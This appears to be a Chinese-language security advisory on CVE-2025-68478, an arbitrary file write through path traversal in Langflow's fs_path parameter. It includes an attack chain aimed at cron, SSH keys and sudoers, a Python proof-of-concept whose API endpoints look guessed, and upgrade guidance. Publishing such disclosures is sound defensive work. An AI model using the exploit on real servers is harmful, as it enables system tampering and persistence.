IPBUF安全漏洞报告
English
CVE-2025-68478 CVSS 7.1 高危

CVE-2025-68478: Langflow 路径遍历导致任意文件写入漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2025-68478
漏洞类型
路径遍历/任意文件写入
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

路径遍历任意文件写入文件操作LangflowCVE-2025-68478高危漏洞AI工作流GitHub安全公告

漏洞概述

CVE-2025-68478是Langflow中一个严重的路径遍历漏洞,CVSS评分7.1,高危级别。Langflow是一款用于构建和部署AI驱动代理和工作流的工具。该漏洞存在于1.7.0之前的版本中,攻击者可以通过在请求体的fs_path参数中指定任意路径,利用服务器将Flow对象序列化为JSON并创建或覆盖该路径上的文件。由于程序未对路径进行任何限制、规范化或允许目录强制执行,攻击者可以直接使用绝对路径(如/etc/poc.txt)进行文件写入操作。此漏洞可能导致敏感配置文件被覆盖、系统关键文件被篡改,甚至可能结合其他漏洞实现远程代码执行。攻击复杂度低,无需特殊权限即可利用,对系统完整性造成严重影响。

技术细节

漏洞原理:Langflow在处理Flow对象序列化时,直接使用用户提供的fs_path参数作为文件写入路径,未进行路径安全验证。攻击者可通过构造恶意请求,在fs_path中指定系统敏感路径(如/etc/crontab、/root/.bashrc等),实现任意文件写入。漏洞利用条件:1)攻击者需具有Langflow API访问权限(低权限要求);2)目标服务器运行1.7.0以下版本;3)攻击者可通过HTTP请求与服务器通信。漏洞影响:可写入任意文件内容为Flow对象的JSON序列化结果,攻击者可利用此漏洞覆盖系统配置文件、植入后门或配合其他漏洞实现进一步攻击。修复方案:升级至1.7.0版本,该版本增加了路径限制和规范化处理。

攻击链分析

STEP 1
步骤1
侦查阶段:攻击者识别运行Langflow且版本低于1.7.0的目标服务器
STEP 2
步骤2
准备阶段:构造包含恶意fs_path参数的HTTP请求,指定目标路径为系统敏感文件(如/etc/crontab、/root/.ssh/authorized_keys)
STEP 3
步骤3
利用阶段:向Langflow API发送POST请求,fs_path指向任意绝对路径,flow参数包含Flow对象JSON数据
STEP 4
步骤4
执行阶段:服务器未验证路径安全性,直接将Flow对象序列化为JSON并写入指定路径
STEP 5
步骤5
持久化/提权:根据写入的文件类型,可能实现持久化控制(如写入cron任务)或提权(如修改sudoers、添加SSH公钥)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68478 PoC - Langflow Path Traversal Arbitrary File Write Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-68478 """ import requests import json import sys TARGET_URL = "http://target:3000" TARGET_PATH = "/etc/poc.txt" # Target path to write def create_malicious_flow(): """Create a malicious Flow object for exploitation""" return { "name": "exploit_flow", "data": { "nodes": [], "edges": [] } } def exploit_cve_2025_68478(): """ Exploit path traversal vulnerability in Langflow < 1.7.0 The server serializes Flow object to JSON and writes to arbitrary path """ # Create the malicious request payload payload = { "fs_path": TARGET_PATH, # Path traversal - arbitrary file path "flow": create_malicious_flow() } headers = { "Content-Type": "application/json" } # Try to write to arbitrary path endpoints = [ "/api/v1/flows/save", "/api/flows/save", "/api/v1/files/write" ] for endpoint in endpoints: try: url = f"{TARGET_URL}{endpoint}" print(f"[*] Trying endpoint: {url}") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! File written to {TARGET_PATH}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_version(): """Check if target is vulnerable""" try: response = requests.get(f"{TARGET_URL}/api/v1/version", timeout=10) if response.status_code == 200: version = response.json().get('version', '') print(f"[*] Target version: {version}") # Check if version is < 1.7.0 major, minor, patch = map(int, version.split('.')[:3]) if major < 1 or (major == 1 and minor < 7): print("[!] Target is likely VULNERABLE") return True else: print("[-] Target appears PATCHED") return False except: pass return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-68478 PoC - Langflow Path Traversal") print("=" * 60) # Check version first is_vulnerable = check_version() if is_vulnerable: print("\n[*] Starting exploitation...") exploit_cve_2025_68478() elif is_vulnerable is False: print("\n[-] Target is not vulnerable, exiting.") else: print("\n[*] Could not determine version, attempting exploitation anyway...") exploit_cve_2025_68478()

影响范围

Langflow < 1.7.0

防御指南

临时缓解措施
立即将Langflow升级至1.7.0版本。在无法立即升级的情况下,可通过配置反向代理限制对API端点的访问,并实施严格的输入验证机制,禁止在fs_path参数中使用绝对路径或路径遍历字符。对于生产环境,建议启用审计日志记录所有文件写入操作,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表